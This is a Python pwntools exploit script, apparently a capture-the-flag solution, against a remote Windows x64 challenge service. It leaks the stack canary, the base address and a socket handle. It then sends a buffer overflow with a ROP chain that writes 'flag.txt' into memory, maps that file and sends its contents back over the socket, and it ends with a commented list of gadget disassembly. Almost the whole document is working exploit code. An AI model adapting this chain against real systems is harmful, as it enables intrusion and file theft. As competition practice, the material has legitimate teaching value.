|
from pwn import * |
|
|
|
|
|
def leak_uint32(r, offset): |
|
r.send(flat( |
|
'\x04', |
|
p32(offset, endian='big') |
|
)) |
|
return u32(r.recv(4), endian='little') |
|
|
|
|
|
def leak_uint64(r, offset): |
|
r.send(flat( |
|
'\x04', |
|
p32(offset, endian='big') |
|
)) |
|
i1 = r.recv(4) |
|
r.send(flat( |
|
'\x04', |
|
p32(offset + 1, endian='big') |
|
)) |
|
return u64(i1 + r.recv(4), endian='little') |
|
|
|
|
|
def main(): |
|
context(arch='amd64', os='windows', endian='little') |
|
|
|
debug_addr = 0x7ff6c7f12507 |
|
base_addr = 0 |
|
|
|
def resolve(addr): return addr - debug_addr + base_addr |
|
|
|
def pop_rdi_rsi_rbx_ret(): return resolve(0x7FF6C7F12D58) |
|
|
|
def pop_rbx_ret(): return resolve(0x7FF6C7F12D5A) |
|
|
|
def write_at_rcx_ret(): return resolve(0x7FF6C7F1995C) |
|
|
|
def rslv_rcx_ret(): return resolve(0x7FF6C7F128E7) |
|
|
|
def mov_r8_rcx_call_rdi(): return resolve(0x7FF6C7F170AD) |
|
|
|
def mov_rdx_rcx_call_rbx(): return resolve(0x7FF6C7F4903E) |
|
|
|
def mov_rdx_call_rbx(): return resolve(0x7FF6C7F1E346) |
|
|
|
def sleep(): return resolve(0x7FF6C7F124F4) |
|
|
|
def memory_map_file(): return resolve(0x7FF6C7F111B0) |
|
|
|
def send_to_socket(): return resolve(0x7FF6C7F12858) |
|
|
|
def rwdata_block(): return resolve(0x7FF6C7FAD581) |
|
|
|
def rwdata_txt(): return resolve(0x7FF6C7FAD5D7) |
|
|
|
r = remote("challenge-ecw.fr", 741) |
|
|
|
ssp = leak_uint64(r, 256) |
|
base_addr = leak_uint64(r, 256 + 6) |
|
my_socket = leak_uint64(r, 256 + 4) |
|
|
|
buf = 'A' * 1024 |
|
|
|
r.send(flat( |
|
'\x01', |
|
p32(200, endian='big'), |
|
buf, |
|
p64(ssp), # SSP |
|
'D' * 8, |
|
'E' * 8, |
|
|
|
# Writes "flag.txt" at an offset of base_addr (on the rw .data segment) |
|
p64(pop_rdi_rsi_rbx_ret()), # sRIP = pop_rdi_rsi_rbx_ret |
|
p64(rwdata_txt() - 0x50), # rdi = rcx (dst_addr) |
|
'flag.txt', # rsi = rdx (value) |
|
p64(pop_rbx_ret()), # rbx = pop_rbx_rtn (stack align call) |
|
p64(mov_rdx_rcx_call_rbx()), # sRIP = mov_rdx_rcx_call_rbx |
|
p64(write_at_rcx_ret()), # sRIP = write_at_ecx_ret |
|
|
|
# Opens and Map "flag.txt" file |
|
# on memory at an offset of base_addr (also on the rw .data seg.) |
|
# map_file_in_mem(whereToStorePtrMap, char* filename) |
|
p64(pop_rdi_rsi_rbx_ret()), # sRIP = pop_rdi_rsi_rbx_ret |
|
p64(rwdata_block()), # rdi = rcx = whereToStorePtrMap |
|
p64(rwdata_txt()), # rsi = rdx = filename |
|
p64(pop_rbx_ret()), # rbx = pop_rbx_rtn (stack align call) |
|
|
|
p64(mov_rdx_rcx_call_rbx()), # sRIP = mov_rdx_rcx_call_rbx |
|
|
|
p64(memory_map_file()), # sRIP = read_file_in_mem() |
|
|
|
p64(pop_rbx_ret()), # sRIP = stack align |
|
p64(0), # rbx = junk |
|
|
|
# resolve whereToStorePtrMap addr and setup send parameters |
|
p64(pop_rdi_rsi_rbx_ret()), # sRIP = pop_rdi_rsi_rbx_ret |
|
p64(pop_rbx_ret()), # rdi = pop_rbx_rtn (stack align call) |
|
p64(0xFF), # rsi = r8 = sendLength |
|
p64(0), # rbx = junk |
|
|
|
p64(mov_r8_rcx_call_rdi()), # sRIP = mov_r8_rcx_call_rdi |
|
|
|
p64(pop_rdi_rsi_rbx_ret()), # call rdi will trigger it |
|
p64(rwdata_block()), # rdi = rcx = whereToStorePtrMap |
|
p64(0), # rsi = junk |
|
p64(pop_rbx_ret()), # rbx = pop_rbx_rtn (stack align call) |
|
|
|
p64(mov_rdx_rcx_call_rbx()), # sRIP = mov_rdx_rcx_call_rbx |
|
|
|
p64(rslv_rcx_ret()), # sRIP = rslv_rcx_ret |
|
|
|
p64(pop_rdi_rsi_rbx_ret()), # sRIP = pop_rdi_rsi_rbx_ret |
|
p64(my_socket), # rdi = rcx = my_socket |
|
p64(0), # rsi = junk |
|
p64(pop_rbx_ret()), # rbx = pop_rbx_rtn (stack align call) |
|
|
|
p64(mov_rdx_call_rbx()), # sRIP = mov_rdx_call_rbx |
|
|
|
# finally send the content <3 |
|
p64(send_to_socket()), # sRIP = send_to_socket |
|
|
|
p64(sleep()) * 10 # stop gadget |
|
)) |
|
|
|
r.send('\x05') # trigger ret without closing socket |
|
|
|
flag = r.recv(255) |
|
flag = flag.decode('utf-8').split('\x00')[0] |
|
print("The flag is " + flag) |
|
|
|
|
|
main() |
|
|
|
|
|
''' |
|
0x00007FF6C7F1995C: write-what-where |
|
mov [rcx + 0x50], rdx |
|
ret |
|
|
|
0x00007FF6C7F1E346: |
|
mov rdx, rax |
|
mov rcx, rdi |
|
call rbx |
|
|
|
0x00007FF6C7F128E7: |
|
mov rcx, [rcx] |
|
mov rax, rcx |
|
ret |
|
|
|
0x00007FF6C7F1947F: |
|
lea rdx, [r13 + 0x74] |
|
mov rcx, r14 |
|
call rdi |
|
|
|
0x00007FF6C7F15CBA: |
|
pop r14 |
|
pop r13 |
|
retn |
|
|
|
0x00007FF6C7F170AD: |
|
mov r8, rsi |
|
xor edx, edx |
|
mov rcx, rbp |
|
call rdi |
|
|
|
0x00007FF6C7F12D58: |
|
pop rdi |
|
pop rsi |
|
pop rbx |
|
retn |
|
|
|
0x00007FF6C7F12D5A: skip call sRIP |
|
pop rbx |
|
retn |
|
|
|
0x00007FF6C7F12F03: |
|
pop r15 |
|
pop r14 |
|
pop r13 |
|
pop r12 |
|
pop rdi |
|
pop rsi |
|
pop rbx |
|
pop rbp |
|
retn |
|
|
|
0x00007FF6C7F1367E: |
|
mov rax, rcx |
|
retn |
|
|
|
0x00007FF6C7F4903E: |
|
mov rdx, rsi |
|
mov rcx, rdi |
|
call rbx |
|
|
|
0x00007FF6C7F49041: |
|
mov rcx, rdi |
|
call rbx |
|
|
|
0x00007FF6C7F111B0: func memory_map_file(uint64* ptrStore, char* filename) |
|
rdx: filename |
|
rcx: dst |
|
|
|
''' |
|
|